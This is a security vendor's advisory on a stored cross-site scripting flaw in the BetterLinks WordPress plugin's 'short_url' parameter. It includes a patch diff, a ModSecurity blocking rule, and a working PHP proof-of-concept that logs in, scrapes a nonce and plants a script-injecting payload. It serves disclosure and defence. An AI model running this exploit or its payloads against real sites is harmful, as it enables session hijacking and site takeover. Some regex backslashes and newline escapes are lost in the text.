Published : December 4, 2026

CVE-2026-137045: BetterLinks <= 3.1.7 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'short_url' Parameter PoC, Patch Analysis & Rule

Plugin betterlinks
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.1.7
Patched Version 3.1.8
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137045: BetterLinks versions up to and including 3.1.7 are vulnerable to authenticated stored cross-site scripting via the ‘short_url’ parameter. The flaw impacts the FluentBoards integration handlers in betterlinks/includes/Admin/Ajax.php, which saved attacker-controlled short_url values to the database without applying the standard link validation and escaping. The CVSS score is 6.4 with a Subscriber+ privilege requirement, contingent on the attacker’s account being a member of a FluentBoards board.

The root cause is the absence of sanitization and validation in the FluentBoards link save path. The update_fbs_link() and create paths around includes/Admin/Ajax.php read $_POST[‘short_url’] and write it to the links table, but they skipped the validation the main link handlers perform (validate_link_payload in Link.php). The patched version adds a new private method validate_fbs_short_url() in Ajax.php that wraps validate_link_payload() and calls it before the short URL is persisted in both update_fbs_link() and the create handler. Additionally, LinkChecker.php previously built the anchor replacement with string concatenation (‘${1}’ . $href . ‘${3}’), letting the short URL content flow unescaped into the final HTML output. The patch wraps $href in esc_url() and swaps preg_replace() for preg_replace_callback(), so backreferences in the short URL are treated as literal text.

Exploitation requires a Subscriber-level account that has been added to a FluentBoards board, which exposes the board admin screen and its betterlinks_admin_nonce. From that screen the attacker submits a request to /wp-admin/admin-ajax.php with action=update_fbs_link (or the create action), a valid security nonce, and a short_url payload such as “>alert(document.cookie) or an onmouseover attribute fragment. The malicious value is stored, and any frontend page where BetterLinks renders a cloaked or transformed anchor executes the injected script in the victim’s browser. Because the payload is stored, an administrator visiting the affected page triggers execution with admin session privileges.

The patch closes the vulnerability in two layers. First, validate_fbs_short_url() enforces the same rules as the primary link handlers: empty check, rejection of quotes, angle brackets and whitespace, reserved WordPress path checks, and duplicate detection via validate_link_payload(), invoked before any write in both the update and create flows. Second, LinkChecker.php now escapes the final href with esc_url() and uses preg_replace_callback() so short URL characters such as $1 or 1 cannot act as regex backreferences. Helper.php also adds get_uploads_relative_path() to keep existing uploads from being shadowed, and Link.php refuses to run short links that point at files that still exist. These changes ensure stored values cannot break out of the anchor attribute during rendering.

Successful exploitation allows an authenticated low-privileged user to inject arbitrary JavaScript that runs in administrative sessions. This can lead to session hijacking, creation of rogue administrator accounts, plugin and theme modification, and full site takeover. Because BetterLinks renders cloaked links across public pages, the stored XSS also fires for unauthenticated visitors, enabling defacement, credential harvesting via injected forms, and drive-by redirects. The patched behavior forces attackers to submit short URLs that survive validate_link_payload(), eliminating the attribute breakout and regex backreference vectors that made stored payloads execute.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/betterlinks/betterlinks.php
+++ b/betterlinks/betterlinks.php
@@ -3,7 +3,7 @@
  * Plugin Name:		BetterLinks
  * Plugin URI:		https://betterlinks.io/
  * Description:		Create, shorten, cloak, track and manage any URL. Gather click analytics, run marketing campaigns, and connect AI assistants over MCP.
- * Version:			3.1.7
+ * Version:			3.1.8
  * Author:			WPDeveloper
  * Author URI:		https://wpdeveloper.com
  * License:			GPL-3.0-or-later
@@ -110,7 +110,7 @@
             /**
              * Defines CONSTANTS for Whole plugins.
              */
-            define('BETTERLINKS_VERSION', '3.1.7');
+            define('BETTERLINKS_VERSION', '3.1.8');
             define('BETTERLINKS_DB_VERSION', '1.6.11');
             define('BETTERLINKS_MENU_NOTICE', '11');
             define('BETTERLINKS_SETTINGS_NAME', 'betterlinks_settings');
--- a/betterlinks/includes/Admin/Ajax.php
+++ b/betterlinks/includes/Admin/Ajax.php
@@ -247,6 +247,46 @@
 		);
 	}

+	/**
+	 * Apply the regular short URL validation to a FluentBoards link and stop
+	 * with its error when it fails.
+	 *
+	 * These handlers write `short_url` themselves instead of going through the
+	 * main link handlers, so they need the same checks: no quotes, angle
+	 * brackets or whitespace, no reserved WordPress paths, no duplicates.
+	 *
+	 * @param string|null $short_url Proposed short URL.
+	 * @param int         $link_id   Link being updated, or 0 when creating.
+	 * @return void
+	 */
+	private function validate_fbs_short_url( $short_url, $link_id = 0 ) {
+		$short_url = (string) $short_url;
+		if ( '' === trim( $short_url ) ) {
+			wp_send_json_error(
+				array(
+					'result'  => false,
+					'code'    => 'betterlinks_invalid_short_url',
+					'message' => __( 'The short URL cannot be empty.', 'betterlinks' ),
+				)
+			);
+		}
+
+		$args = array( 'short_url' => $short_url );
+		if ( $link_id > 0 ) {
+			$args['ID'] = absint( $link_id );
+		}
+		$invalid = $this->validate_link_payload( $args, $link_id > 0 );
+		if ( is_wp_error( $invalid ) ) {
+			wp_send_json_error(
+				array(
+					'result'  => false,
+					'code'    => $invalid->get_error_code(),
+					'message' => $invalid->get_error_message(),
+				)
+			);
+		}
+	}
+
 	public function update_fbs_link() {
 		check_ajax_referer( 'betterlinks_admin_nonce', 'security' );
 		if ( ! defined( 'FLUENT_BOARDS' ) ) {
@@ -267,6 +307,9 @@
 			$this->send_fbs_permission_error();
 		}

+		// Same short URL rules as every other place a link is saved.
+		$this->validate_fbs_short_url( $short_url, $id );
+
 		if ( $helper::is_exists_short_url( $short_url ) ) {
 			wp_send_json_error(
 				array(
@@ -351,6 +394,8 @@
 		$short_url        = isset( $_POST['short_url'] ) ? sanitize_text_field( wp_unslash( $_POST['short_url'] ) ) : null;
 		$prefix           = isset( $settings['prefix'] ) ? $settings['prefix'] . '/' : '';
 		$short_url        = ! empty( $short_url ) ? $short_url : $prefix . $slug;
+		// Validate before anything is written (the category and settings below).
+		$this->validate_fbs_short_url( $short_url );
 		$nofollow         = ! empty( $settings['nofollow'] ) ? $settings['nofollow'] : null;
 		$sponsored        = ! empty( $settings['sponsored'] ) ? $settings['sponsored'] : null;
 		$track_me         = ! empty( $settings['track_me'] ) ? $settings['track_me'] : null;
--- a/betterlinks/includes/Frontend/LinkChecker.php
+++ b/betterlinks/includes/Frontend/LinkChecker.php
@@ -36,11 +36,23 @@
                 if( empty( $href ) ) {
                     continue;
                 }
-                $href = $this->check_hrefs($href);
+                // Escape the final href (after the filter), so a short URL saved
+                // before slugs were validated cannot break out of the attribute.
+                $href = esc_url( $this->check_hrefs( $href ) );
+                if ( '' === $href ) {
+                    continue;
+                }

+                // A callback, so `$1` or `1` in a short URL is kept as text and
+                // not read as a back-reference.
                 $pattern = '/(<as+[^>]*hrefs*=s*["'])([^"']*)(["'][^>]*>)/i';
-                $replacement = '${1}' . $href . '${3}';
-                $replace = preg_replace($pattern, $replacement, $match[0]);
+                $replace = preg_replace_callback(
+                    $pattern,
+                    static function ( $parts ) use ( $href ) {
+                        return $parts[1] . $href . $parts[3];
+                    },
+                    $match[0]
+                );

                 // if( empty( $this->link['uncloaked'] ) ){
                 //     $pattern = '/s*data-link-id=["'][^"']*["']/i';
--- a/betterlinks/includes/Helper.php
+++ b/betterlinks/includes/Helper.php
@@ -826,6 +826,14 @@
 		if ( '' === $path ) {
 			return false;
 		}
+		// Redirecting a retired upload (an old PDF, image…) to its replacement is
+		// a core use case and worked before system paths were reserved, so files
+		// inside the uploads directory stay available even though wp-content is
+		// reserved. The web server serves files that still exist before
+		// WordPress loads, and run_redirect() never shadows one either.
+		if ( null !== self::get_uploads_relative_path( $path ) ) {
+			return false;
+		}
 		$first    = (string) strtok( $path, '/?#' );
 		$reserved = array(
 			'wp-admin',
@@ -854,6 +862,47 @@
 	}

 	/**
+	 * The part of `$path` inside the uploads directory, when `$path` points at
+	 * something under it (`wp-content/uploads/2025/04/file.pdf` →
+	 * `2025/04/file.pdf`). Null for any other path, for the uploads directory
+	 * itself, and for paths with `..` segments that could climb out of it.
+	 *
+	 * @param string $path Path relative to the site root.
+	 * @return string|null
+	 */
+	public static function get_uploads_relative_path( $path ) {
+		if ( ! function_exists( 'wp_get_upload_dir' ) ) {
+			return null;
+		}
+		// wp_get_upload_dir() is cached per site by core, so this stays correct
+		// after switch_to_blog() on multisite.
+		$uploads   = wp_get_upload_dir();
+		$base_path = isset( $uploads['baseurl'] ) ? (string) wp_parse_url( $uploads['baseurl'], PHP_URL_PATH ) : '';
+		$site_path = (string) wp_parse_url( site_url( '/' ), PHP_URL_PATH );
+		if ( '' !== $site_path && 0 === strpos( $base_path, $site_path ) ) {
+			$base_path = substr( $base_path, strlen( $site_path ) );
+		}
+		$uploads_base = strtolower( trim( $base_path, '/' ) );
+
+		$path = (string) $path;
+		// A null byte is never part of a real file name, and file_exists()
+		// throws on it in PHP 8+, so leave such paths to the normal 404.
+		if ( false !== strpos( $path, "" ) ) {
+			return null;
+		}
+		$path = trim( (string) strtok( $path, '?#' ), "/ tnrx0B" );
+		if ( '' === $uploads_base || 0 !== strpos( strtolower( $path ), $uploads_base . '/' ) ) {
+			return null;
+		}
+		$relative = trim( substr( $path, strlen( $uploads_base ) + 1 ), '/' );
+		if ( '' === $relative || in_array( '..', explode( '/', str_replace( '\', '/', $relative ) ), true ) ) {
+			return null;
+		}
+
+		return $relative;
+	}
+
+	/**
 	 * Describe whatever WordPress would serve at `$path`, or null when nothing
 	 * is there.
 	 *
@@ -956,6 +1005,13 @@
 			);
 		};

+		// WordPress 7.2 random content redirects (`/random/`, `/random/category/news/`…).
+		// The base is translatable, so recognise the rule by its query var rather
+		// than by the word "random".
+		if ( isset( $vars['random'] ) && function_exists( 'wp_is_random_content_redirect_enabled' ) && wp_is_random_content_redirect_enabled() ) {
+			return $found( 'random', __( 'random content redirect', 'betterlinks' ) );
+		}
+
 		// Taxonomy archives — category and tag first, then anything else public.
 		$taxonomy_vars = array(
 			'category_name' => 'category',
--- a/betterlinks/includes/Link.php
+++ b/betterlinks/includes/Link.php
@@ -39,6 +39,17 @@
 			return false;
 		}

+		// Short links for retired uploads only fire once the file is gone; never
+		// shadow a file that still exists (e.g. when uploads are routed through
+		// WordPress by a download-protection plugin).
+		$uploads_relative = Helper::get_uploads_relative_path( current( $param ) );
+		if ( null !== $uploads_relative ) {
+			$uploads = wp_get_upload_dir();
+			if ( ! empty( $uploads['basedir'] ) && file_exists( trailingslashit( $uploads['basedir'] ) . $uploads_relative ) ) {
+				return false;
+			}
+		}
+
 		$request_path = rtrim( current( $param ), '/' );
 		$data         = $this->get_slug_raw( $request_path );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137045
# Blocks stored XSS via the short_url parameter on the BetterLinks FluentBoards
# AJAX handlers. Legitimate short URLs contain only path-safe characters, so
# rejecting quotes, angle brackets, and script markers is safe.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026137045,phase:2,deny,status:403,chain,msg:'CVE-2026-137045 BetterLinks short_url stored XSS via FluentBoards AJAX',severity:'CRITICAL',tag:'CVE-2026-137045',tag:'attack-xss'"
  SecRule ARGS_POST:action "@rx ^(update_fbs_link|create_fbs_link|save_fbs_link)$" "chain"
    SecRule ARGS_POST:short_url "@rx (?i)(<|%3c|x22|%22|'|%27|javascript:|on[a-z]+s*=|%3cscript|x00)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137045 - BetterLinks <= 3.1.7 Authenticated (Subscriber+) Stored XSS via 'short_url' Parameter
//
// Requires: a WordPress account at Subscriber level or higher that has been
// added as a member of a FluentBoards board (so it can see the board admin
// screen and obtain a valid betterlinks_admin_nonce).
//
// The script logs in, scrapes the nonce, and submits a malicious short_url
// to the vulnerable update_fbs_link AJAX action. Inspect the redirect target
// or the stored link in the wp_betterlinks_links table to confirm the payload.

$target_url = 'http://target.local'; // e.g. https://victim.example.com
$username   = 'subscriber_user';
$password   = 'subscriber_pass';
$link_id    = 1; // existing FluentBoards link ID to hijack
$payload    = 'evil"><script>alert(document.cookie)</script>';

$cookie_jar = tempnam(sys_get_temp_dir(), 'bl_cve');

function http_request($url, $method = 'GET', $post = null, $jar = null) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $jar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $jar);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post));
    }
    $resp = curl_exec($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);
    return array($resp, $info);
}

// Step 1: Fetch the login page to establish a session cookie.
list($login_page) = http_request($target_url . '/wp-login.php', 'GET', null, $cookie_jar);
if ($login_page === false) {
    fwrite(STDERR, "[-] Failed to reach WP login pagen");
    exit(1);
}

// Step 2: Authenticate as the low-privileged board member.
list($resp, $info) = http_request($target_url . '/wp-login.php', 'POST', array(
    'log'         => $username,
    'pwd'         => $password,
    'wp-submit'   => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie'  => '1',
), $cookie_jar);
if ($info['http_code'] >= 400 || $resp === false) {
    fwrite(STDERR, "[-] Login may have failed (HTTP " . $info['http_code'] . ")n");
}

// Step 3: Load the FluentBoards board admin screen to scrape a valid nonce.
// The board screen exposes betterlinks_admin_nonce for the AJAX action.
list($board_page) = http_request($target_url . '/wp-admin/admin.php?page=fluent-boards', 'GET', null, $cookie_jar);
if (!preg_match('/betterlinks_admin_nonce['"]s*[:=]s*['"]([a-f0-9]+)['"]/i', $board_page, $m)) {
    fwrite(STDERR, "[-] Could not extract betterlinks_admin_nonce; the account may not be a FluentBoards membern");
    exit(1);
}
$nonce = $m[1];
echo "[+] Retrieved nonce: $noncen";

// Step 4: Submit the vulnerable AJAX request with the XSS payload in short_url.
list($resp, $info) = http_request($target_url . '/wp-admin/admin-ajax.php', 'POST', array(
    'action'    => 'update_fbs_link',
    'security'  => $nonce,
    'id'        => $link_id,
    'short_url' => $payload,
), $cookie_jar);

echo "[+] AJAX response (HTTP " . $info['http_code'] . "):n";
echo $resp . "n";

// Step 5: Confirm the stored payload renders unescaped on any page where
// BetterLinks rewrites an anchor for this short URL.
list($frontend) = http_request($target_url . '/?p=1', 'GET', null, $cookie_jar);
if (strpos($frontend, $payload) !== false || strpos($frontend, 'alert(document.cookie)') !== false) {
    echo "[!] Payload appears in frontend output; stored XSS confirmed.n";
} else {
    echo "[i] Visit a page that renders the cloaked short link to trigger execution.n";
}

@unlink($cookie_jar);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.